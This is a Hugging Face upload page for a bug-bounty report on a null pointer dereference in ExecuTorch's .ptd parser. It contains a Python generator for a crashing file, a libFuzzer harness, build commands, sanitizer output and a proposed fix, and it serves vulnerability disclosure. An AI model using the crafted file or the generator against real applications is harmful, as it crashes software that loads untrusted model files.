Upload folder using huggingface_hub
Browse files- REPORT.md +148 -0
- poc/gen_poc.py +109 -0
- poc/harness_flat_tensor_fuzzer.cpp +56 -0
- poc/poc_tensorlayout_sizes_null.ptd +0 -0
REPORT.md
ADDED
|
@@ -0,0 +1,148 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Null Pointer Dereference in ExecuTorch create_tensor_layout() via Missing TensorLayout.sizes (.ptd)
|
| 2 |
+
|
| 3 |
+
**Target:** ExecuTorch 1.3.1 (.ptd, huntr Model File Vulnerability program)
|
| 4 |
+
**Severity:** Low-Medium (Denial of Service)
|
| 5 |
+
**CWE:** CWE-476 (NULL Pointer Dereference)
|
| 6 |
+
**Component:** `extension/flat_tensor/flat_tensor_data_map.cpp`
|
| 7 |
+
**Authentication Required:** No — only requires a victim application to load an attacker-supplied `.ptd` file and call a public API.
|
| 8 |
+
|
| 9 |
+
## Summary
|
| 10 |
+
|
| 11 |
+
`NamedData.tensor_layout` (a `TensorLayout` table) can be present in a `.ptd` file while its own `sizes` field (and/or `dim_order`) is itself omitted — `sizes: [int32]` and `dim_order: [uint8]` are both ordinary, non-required fields in the schema. `create_tensor_layout()` dereferences `tensor_layout->sizes()->size()` without checking `sizes()` for null. This is a distinct, deeper defect than a simple "is `tensor_layout` itself present" check: a `NamedData` entry can have a fully non-null `tensor_layout` table and still crash the parser, because the crash is one level further down in the field hierarchy.
|
| 12 |
+
|
| 13 |
+
**Confirmed against the pristine, unmodified ExecuTorch 1.3.1 source** — this is a real defect in the shipped code, not an artifact of any local investigation tooling.
|
| 14 |
+
|
| 15 |
+
## Vulnerability Details
|
| 16 |
+
|
| 17 |
+
`extension/flat_tensor/serialize/flat_tensor.fbs`:
|
| 18 |
+
|
| 19 |
+
```
|
| 20 |
+
table TensorLayout {
|
| 21 |
+
scalar_type: executorch_flatbuffer.ScalarType;
|
| 22 |
+
sizes: [int32]; // not required
|
| 23 |
+
dim_order: [uint8]; // not required
|
| 24 |
+
}
|
| 25 |
+
```
|
| 26 |
+
|
| 27 |
+
`extension/flat_tensor/flat_tensor_data_map.cpp` (pristine 1.3.1 source, lines 97–108):
|
| 28 |
+
|
| 29 |
+
```cpp
|
| 30 |
+
Result<const TensorLayout> create_tensor_layout(
|
| 31 |
+
const flat_tensor_flatbuffer::TensorLayout* tensor_layout) {
|
| 32 |
+
ScalarType scalar_type =
|
| 33 |
+
static_cast<ScalarType>(tensor_layout->scalar_type());
|
| 34 |
+
const int dim = tensor_layout->sizes()->size(); // <-- crash site: sizes() may be null
|
| 35 |
+
const auto serialized_sizes = tensor_layout->sizes()->data();
|
| 36 |
+
const auto serialized_dim_order = tensor_layout->dim_order()->data();
|
| 37 |
+
return TensorLayout::create(
|
| 38 |
+
Span<const int32_t>(serialized_sizes, dim),
|
| 39 |
+
Span<const uint8_t>(serialized_dim_order, dim),
|
| 40 |
+
scalar_type);
|
| 41 |
+
}
|
| 42 |
+
```
|
| 43 |
+
|
| 44 |
+
Note: this is the *unmodified upstream line numbering* (line 101 in the actual shipped 1.3.1 source tree; some of this report's supporting artifacts were produced against a locally-patched copy for unrelated reasons — see the Verification section below for the pristine-source confirmation).
|
| 45 |
+
|
| 46 |
+
`get_named_data()`'s validation (`segment_index` bounds, segment offset/size overflow checks) never inspects the internal fields of `tensor_layout` — it only validates the `NamedData` entry's own `segment_index`. No code path — not `get_named_data()`, not `create_tensor_layout()`, not `TensorLayout::create()` in `runtime/core/tensor_layout.cpp` — checks whether `tensor_layout->sizes()` or `tensor_layout->dim_order()` are non-null before they are used.
|
| 47 |
+
|
| 48 |
+
## Steps to Reproduce
|
| 49 |
+
|
| 50 |
+
### Environment
|
| 51 |
+
Same sanitized build and harness as REPORT-01 (identical `poc/harness_flat_tensor_fuzzer.cpp`, identical build commands against the **pristine, unmodified** ExecuTorch 1.3.1 source tree).
|
| 52 |
+
|
| 53 |
+
### 1. PoC file
|
| 54 |
+
|
| 55 |
+
`poc/poc_tensorlayout_sizes_null.ptd` (272 bytes, **included in this report — sha256 `f9c20d5697f9d147938eb31b188a14f82767252af47f5075358b7bc98c802476`**) is a well-formed `.ptd` file with:
|
| 56 |
+
- One `NamedData` entry: `key = "weight1"`, `segment_index = 0`
|
| 57 |
+
- `tensor_layout` **present** (non-null), with `scalar_type` set to a valid value
|
| 58 |
+
- `tensor_layout.sizes` **omitted**
|
| 59 |
+
|
| 60 |
+
This exact file was found via coverage-guided fuzzing and is included verbatim — it is the precise reproducer verified below, not a re-derived approximation.
|
| 61 |
+
|
| 62 |
+
> **Note on `poc/gen_poc.py`:** a deterministic regeneration script is included for transparency and to demonstrate the minimal JSON shape that triggers this bug, but flatc's table-encoding is not guaranteed to be byte-identical across independently-constructed JSON inputs that describe the same logical structure. The regenerated file **triggers the identical crash** (`flat_tensor_data_map.cpp:101:43`, same `runtime error: member call on null pointer of type 'flatbuffers::Vector<int>'`) but is not byte-for-byte identical to the included PoC. **Use the included `poc_tensorlayout_sizes_null.ptd` file directly for exact reproduction**; use `gen_poc.py` only to understand or reconstruct the minimal triggering structure.
|
| 63 |
+
|
| 64 |
+
### 2. Build the harness and trigger the crash
|
| 65 |
+
|
| 66 |
+
```bash
|
| 67 |
+
export ET_PARENT=/path/to/parent-of-executorch
|
| 68 |
+
C10_INC="$ET_SRC/runtime/core/portable_type/c10"
|
| 69 |
+
INCLUDES="-I$ET_PARENT -I$ET_BUILD -I$ET_BUILD/schema/include -I$ET_BUILD/extension/flat_tensor/include -I$ET_BUILD/third-party/flatc_ep/include -I$C10_INC"
|
| 70 |
+
|
| 71 |
+
clang++-16 -std=c++17 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all \
|
| 72 |
+
$INCLUDES -DFLATBUFFERS_MAX_ALIGNMENT=1024 -DC10_USING_CUSTOM_GENERATED_MACROS \
|
| 73 |
+
-c poc/harness_flat_tensor_fuzzer.cpp -o harness.o
|
| 74 |
+
|
| 75 |
+
clang++-16 -fsanitize=fuzzer,address,undefined -o poc_harness harness.o \
|
| 76 |
+
"$ET_BUILD/extension/flat_tensor/libextension_flat_tensor.a" \
|
| 77 |
+
"$ET_BUILD/extension/data_loader/libextension_data_loader.a" \
|
| 78 |
+
"$ET_BUILD/libexecutorch_core.a"
|
| 79 |
+
|
| 80 |
+
export ASAN_OPTIONS="abort_on_error=1:symbolize=0"
|
| 81 |
+
export UBSAN_OPTIONS="halt_on_error=1:print_stacktrace=0"
|
| 82 |
+
./poc_harness -timeout=5 -runs=0 poc/poc_tensorlayout_sizes_null.ptd
|
| 83 |
+
```
|
| 84 |
+
|
| 85 |
+
### Expected result (secure behavior)
|
| 86 |
+
`get_tensor_layout("weight1")` should return a clean `Error::InvalidExternalData`, since a `TensorLayout` with no `sizes` cannot describe a valid tensor shape.
|
| 87 |
+
|
| 88 |
+
### Actual result — verified against the pristine (unmodified) ExecuTorch 1.3.1 source
|
| 89 |
+
|
| 90 |
+
```
|
| 91 |
+
Running: poc/poc_tensorlayout_sizes_null.ptd
|
| 92 |
+
extension/flat_tensor/flat_tensor_data_map.cpp:101:43: runtime error: member call on null pointer of type 'flatbuffers::Vector<int>'
|
| 93 |
+
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior extension/flat_tensor/flat_tensor_data_map.cpp:101:43 in
|
| 94 |
+
==<pid>== ERROR: libFuzzer: deadly signal
|
| 95 |
+
```
|
| 96 |
+
|
| 97 |
+
**Reproduced 3/3 identical runs against the pristine, unmodified source tree** (re-verified live for this report, not against any locally-modified copy):
|
| 98 |
+
```
|
| 99 |
+
run 1: extension/flat_tensor/flat_tensor_data_map.cpp:101:43: runtime error: member call on null pointer of type 'flatbuffers::Vector<int>'
|
| 100 |
+
run 2: (identical)
|
| 101 |
+
run 3: (identical)
|
| 102 |
+
```
|
| 103 |
+
|
| 104 |
+
## Impact
|
| 105 |
+
|
| 106 |
+
**Who is affected:** Any application calling `FlatTensorDataMap::get_tensor_layout()` or `load_data_into()` on a `NamedData` entry whose `tensor_layout` is present but incomplete.
|
| 107 |
+
|
| 108 |
+
**What the attacker can do:** Cause a deterministic crash with a `.ptd` file that appears more "valid" than the minimal ET-NEW-001 case (it has a non-null `tensor_layout` table with a set `scalar_type`) — meaning a shallow "is `tensor_layout` null" check alone is insufficient defense; the internal fields of that table must also be validated.
|
| 109 |
+
|
| 110 |
+
**What's at risk:** Availability only. No memory corruption or code execution.
|
| 111 |
+
|
| 112 |
+
**Why not Critical:** Same reasoning as the other null-pointer-dereference findings in this codebase — a controlled crash, not a memory-safety violation.
|
| 113 |
+
|
| 114 |
+
## Suggested Remediation
|
| 115 |
+
|
| 116 |
+
In `create_tensor_layout()`, after checking `tensor_layout` itself for null, additionally check its `sizes` and `dim_order` fields:
|
| 117 |
+
|
| 118 |
+
```cpp
|
| 119 |
+
Result<const TensorLayout> create_tensor_layout(
|
| 120 |
+
const flat_tensor_flatbuffer::TensorLayout* tensor_layout) {
|
| 121 |
+
if (tensor_layout == nullptr) {
|
| 122 |
+
return Error::InvalidExternalData;
|
| 123 |
+
}
|
| 124 |
+
ScalarType scalar_type = static_cast<ScalarType>(tensor_layout->scalar_type());
|
| 125 |
+
if (tensor_layout->sizes() == nullptr || tensor_layout->dim_order() == nullptr) {
|
| 126 |
+
return Error::InvalidExternalData;
|
| 127 |
+
}
|
| 128 |
+
const int dim = tensor_layout->sizes()->size();
|
| 129 |
+
const auto serialized_sizes = tensor_layout->sizes()->data();
|
| 130 |
+
const auto serialized_dim_order = tensor_layout->dim_order()->data();
|
| 131 |
+
return TensorLayout::create(
|
| 132 |
+
Span<const int32_t>(serialized_sizes, dim),
|
| 133 |
+
Span<const uint8_t>(serialized_dim_order, dim),
|
| 134 |
+
scalar_type);
|
| 135 |
+
}
|
| 136 |
+
```
|
| 137 |
+
|
| 138 |
+
A regression test should build a `.ptd` `NamedData.tensor_layout` with `sizes`/`dim_order` omitted and assert a clean `Error` return.
|
| 139 |
+
|
| 140 |
+
## Files Included in This Report
|
| 141 |
+
|
| 142 |
+
- `poc/poc_tensorlayout_sizes_null.ptd` — the exact 272-byte PoC file used for all verification in this report (sha256 `f9c20d5697f9d147938eb31b188a14f82767252af47f5075358b7bc98c802476`)
|
| 143 |
+
- `poc/gen_poc.py` — illustrative regeneration script (produces an equivalent-but-not-byte-identical file that triggers the same crash line — see note above)
|
| 144 |
+
- `poc/harness_flat_tensor_fuzzer.cpp` — the harness used to trigger and reproduce the crash
|
| 145 |
+
|
| 146 |
+
## huntr Submission Note
|
| 147 |
+
|
| 148 |
+
Per the huntr MFV program's submission requirements, this PoC needs to be uploaded to a public HuggingFace repository before filing. `poc/poc_tensorlayout_sizes_null.ptd` is ready for that upload.
|
poc/gen_poc.py
ADDED
|
@@ -0,0 +1,109 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
Generates poc_tensorlayout_sizes_null.ptd - a well-formed .ptd file whose
|
| 4 |
+
single NamedData entry has a PRESENT (non-null) tensor_layout table, but
|
| 5 |
+
that table's own `sizes` field is omitted (dim_order is also omitted in
|
| 6 |
+
this PoC; either omission alone triggers the same crash class).
|
| 7 |
+
|
| 8 |
+
Requires: flatc (built from ExecuTorch's vendored third-party/flatbuffers)
|
| 9 |
+
and the project's flat_tensor.fbs / scalar_type.fbs schema files.
|
| 10 |
+
|
| 11 |
+
Usage:
|
| 12 |
+
python3 gen_poc.py /path/to/executorch/extension/flat_tensor/serialize /path/to/flatc
|
| 13 |
+
"""
|
| 14 |
+
import os
|
| 15 |
+
import struct
|
| 16 |
+
import subprocess
|
| 17 |
+
import sys
|
| 18 |
+
import tempfile
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
def build(schema_dir: str, flatc: str, out_path: str) -> None:
|
| 22 |
+
with tempfile.TemporaryDirectory() as d:
|
| 23 |
+
for fname in ("flat_tensor.fbs", "scalar_type.fbs"):
|
| 24 |
+
with open(os.path.join(schema_dir, fname), "rb") as src:
|
| 25 |
+
data = src.read()
|
| 26 |
+
with open(os.path.join(d, fname), "wb") as dst:
|
| 27 |
+
dst.write(data)
|
| 28 |
+
|
| 29 |
+
# NamedData entry with tensor_layout PRESENT but its scalar_type set
|
| 30 |
+
# and sizes/dim_order OMITTED.
|
| 31 |
+
json_path = os.path.join(d, "flat_tensor.json")
|
| 32 |
+
with open(json_path, "w") as f:
|
| 33 |
+
f.write(
|
| 34 |
+
"""{
|
| 35 |
+
"version": 0,
|
| 36 |
+
"segments": [ { "offset": 0, "size": 16 } ],
|
| 37 |
+
"named_data": [
|
| 38 |
+
{
|
| 39 |
+
"key": "weight1",
|
| 40 |
+
"segment_index": 0,
|
| 41 |
+
"tensor_layout": { "scalar_type": 6 }
|
| 42 |
+
}
|
| 43 |
+
]
|
| 44 |
+
}"""
|
| 45 |
+
)
|
| 46 |
+
|
| 47 |
+
subprocess.run(
|
| 48 |
+
[flatc, "--binary", "flat_tensor.fbs", "flat_tensor.json"],
|
| 49 |
+
cwd=d,
|
| 50 |
+
check=True,
|
| 51 |
+
)
|
| 52 |
+
|
| 53 |
+
with open(os.path.join(d, "flat_tensor.ptd"), "rb") as f:
|
| 54 |
+
raw_fb = f.read()
|
| 55 |
+
|
| 56 |
+
EXPECTED_MAGIC = b"FH01"
|
| 57 |
+
HEADER_LEN = 40
|
| 58 |
+
FLATBUFFER_ALIGNMENT = 16
|
| 59 |
+
SEGMENT_ALIGNMENT = 128
|
| 60 |
+
|
| 61 |
+
def aligned_size(n, align):
|
| 62 |
+
return (n + align - 1) // align * align
|
| 63 |
+
|
| 64 |
+
def pad_to(data, length):
|
| 65 |
+
assert len(data) <= length
|
| 66 |
+
return data + bytes(length - len(data))
|
| 67 |
+
|
| 68 |
+
def insert_header(flatbuffer_data: bytes, header_data: bytes) -> bytes:
|
| 69 |
+
root_offset = int.from_bytes(flatbuffer_data[0:4], "little")
|
| 70 |
+
return (
|
| 71 |
+
(root_offset + len(header_data)).to_bytes(4, "little")
|
| 72 |
+
+ flatbuffer_data[4:8]
|
| 73 |
+
+ header_data
|
| 74 |
+
+ flatbuffer_data[8:]
|
| 75 |
+
)
|
| 76 |
+
|
| 77 |
+
padded_header_length = aligned_size(HEADER_LEN, FLATBUFFER_ALIGNMENT)
|
| 78 |
+
segment_data = bytes([0x11] * 16)
|
| 79 |
+
|
| 80 |
+
flatbuffer_offset = padded_header_length
|
| 81 |
+
flatbuffer_size = len(raw_fb)
|
| 82 |
+
segment_base_offset = aligned_size(flatbuffer_offset + flatbuffer_size, SEGMENT_ALIGNMENT)
|
| 83 |
+
segment_data_size = len(segment_data)
|
| 84 |
+
|
| 85 |
+
header_data = (
|
| 86 |
+
EXPECTED_MAGIC
|
| 87 |
+
+ struct.pack("<I", HEADER_LEN)
|
| 88 |
+
+ struct.pack("<Q", flatbuffer_offset)
|
| 89 |
+
+ struct.pack("<Q", flatbuffer_size)
|
| 90 |
+
+ struct.pack("<Q", segment_base_offset)
|
| 91 |
+
+ struct.pack("<Q", segment_data_size)
|
| 92 |
+
)
|
| 93 |
+
header_data = pad_to(header_data, padded_header_length)
|
| 94 |
+
|
| 95 |
+
injected = insert_header(raw_fb, header_data)
|
| 96 |
+
injected = pad_to(injected, segment_base_offset)
|
| 97 |
+
final = injected + segment_data
|
| 98 |
+
|
| 99 |
+
with open(out_path, "wb") as f:
|
| 100 |
+
f.write(final)
|
| 101 |
+
|
| 102 |
+
print(f"Wrote {out_path} ({len(final)} bytes)")
|
| 103 |
+
|
| 104 |
+
|
| 105 |
+
if __name__ == "__main__":
|
| 106 |
+
if len(sys.argv) != 3:
|
| 107 |
+
print(__doc__)
|
| 108 |
+
sys.exit(1)
|
| 109 |
+
build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_tensorlayout_sizes_null.ptd"))
|
poc/harness_flat_tensor_fuzzer.cpp
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// libFuzzer harness for executorch::extension::FlatTensorDataMap::load()
|
| 2 |
+
// Targets the .ptd flatbuffer parsing path (extension/flat_tensor/flat_tensor_data_map.cpp).
|
| 3 |
+
// Authorized local testing only - huntr MFV scope: ExecuTorch .pte/.ptd parser.
|
| 4 |
+
|
| 5 |
+
#include <cstddef>
|
| 6 |
+
#include <cstdint>
|
| 7 |
+
|
| 8 |
+
#include <executorch/extension/data_loader/buffer_data_loader.h>
|
| 9 |
+
#include <executorch/extension/flat_tensor/flat_tensor_data_map.h>
|
| 10 |
+
#include <executorch/runtime/platform/runtime.h>
|
| 11 |
+
|
| 12 |
+
using executorch::extension::BufferDataLoader;
|
| 13 |
+
using executorch::extension::FlatTensorDataMap;
|
| 14 |
+
|
| 15 |
+
static bool g_initialized = false;
|
| 16 |
+
|
| 17 |
+
extern "C" int LLVMFuzzerTestOneInput(const std::uint8_t* data, std::size_t size) {
|
| 18 |
+
if (!g_initialized) {
|
| 19 |
+
executorch::runtime::runtime_init();
|
| 20 |
+
g_initialized = true;
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
constexpr std::size_t kMaxInput = 32U * 1024U * 1024U;
|
| 24 |
+
if (data == nullptr || size == 0 || size > kMaxInput) {
|
| 25 |
+
return 0;
|
| 26 |
+
}
|
| 27 |
+
|
| 28 |
+
BufferDataLoader loader(data, size);
|
| 29 |
+
auto map = FlatTensorDataMap::load(&loader);
|
| 30 |
+
if (!map.ok()) {
|
| 31 |
+
return 0;
|
| 32 |
+
}
|
| 33 |
+
|
| 34 |
+
auto& m = map.get();
|
| 35 |
+
auto num_keys_res = m.get_num_keys();
|
| 36 |
+
if (num_keys_res.ok()) {
|
| 37 |
+
uint32_t n = num_keys_res.get();
|
| 38 |
+
// Bound the loop - malicious n could be huge but get_key() range-checks it.
|
| 39 |
+
uint32_t iter = n > 4096 ? 4096 : n;
|
| 40 |
+
for (uint32_t i = 0; i < iter; ++i) {
|
| 41 |
+
auto key_res = m.get_key(i);
|
| 42 |
+
if (key_res.ok()) {
|
| 43 |
+
auto layout = m.get_tensor_layout(executorch::aten::string_view(key_res.get()));
|
| 44 |
+
if (layout.ok()) {
|
| 45 |
+
(void)layout.get().nbytes();
|
| 46 |
+
}
|
| 47 |
+
auto data_res = m.get_data(executorch::aten::string_view(key_res.get()));
|
| 48 |
+
if (data_res.ok()) {
|
| 49 |
+
data_res.get().Free();
|
| 50 |
+
}
|
| 51 |
+
}
|
| 52 |
+
}
|
| 53 |
+
}
|
| 54 |
+
|
| 55 |
+
return 0;
|
| 56 |
+
}
|
poc/poc_tensorlayout_sizes_null.ptd
ADDED
|
Binary file (272 Bytes). View file
|
|
|